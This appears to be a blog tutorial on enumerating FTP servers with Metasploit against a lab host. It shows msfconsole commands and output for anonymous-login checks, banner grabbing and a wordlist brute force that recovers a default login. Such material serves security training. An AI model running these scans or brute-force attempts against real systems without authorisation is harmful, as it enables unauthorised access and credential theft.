Sunday, October 6, 2019

Enumerate FTP Servers with Metasploit

The Metasploit framework provides us with some modules which we can use during the enmueration of a remote FTP host.

Check for anonymous FTP access

We can check to see if the remote FTP service allows anonymous access by using the auxiliary/scanner/ftp/anonymous module. You can specify the user and password to connect anonymously with by setting the 'FTPPASS' and 'FTPUSER' options in msfconsole. The default is 'anonymous' and 'mozilla@example.org'

msf5  > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 auxiliary(scanner/ftp/anonymous) > run

[+] 192.168.56.102:21     - 192.168.56.102:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.56.102:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/anonymous) > 

Grab FTP banner

Grabbing the software version of the FTP running is important in idenitfying possible security vulnerabilites. Metasploit allows us to get the version of software running by executing the auxiliary/scanner/ftp/ftp_version module. The only options to set are the RHOSTS option specifying the remote host to probe.

msf5 > use auxiliary/scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.56.102:21     - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
[*] 192.168.56.102:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/ftp_version) > 

Brute force FTP logins

Metasploit gives you the ability to brute force possible login combinations against a remote FTP service. The ftp_login module iterates through two lists you specify for the user and passwords. A option to specify is the 'STOP_ON_SUCCESS' which stops the cracking when a valid user and password combination are found.

msf5 > use auxiliary/scanner/ftp/ftp_login
msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE /home/sam/common-1000-pass.txt
PASS_FILE => /home/sam/common-1000-pass.txt
msf5 auxiliary(scanner/ftp/ftp_login) > set USER_FILE /home/sam/users.txt
USER_FILE => /home/sam/users.txt
msf5 auxiliary(scanner/ftp/ftp_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 192.168.56.102:21     - 192.168.56.102:21 - Starting FTP login sweep
[!] 192.168.56.102:21     - No active DB -- Credential data will not be saved!
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:123456 (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:password (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:12345678 (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:qwerty (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:123456789 (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:12345 (Incorrect: )
[+] 192.168.56.102:21     - 192.168.56.102:21 - Login Successful: msfadmin:msfadmin
[*] 192.168.56.102:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/ftp_login) > 

No comments:

Post a Comment

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...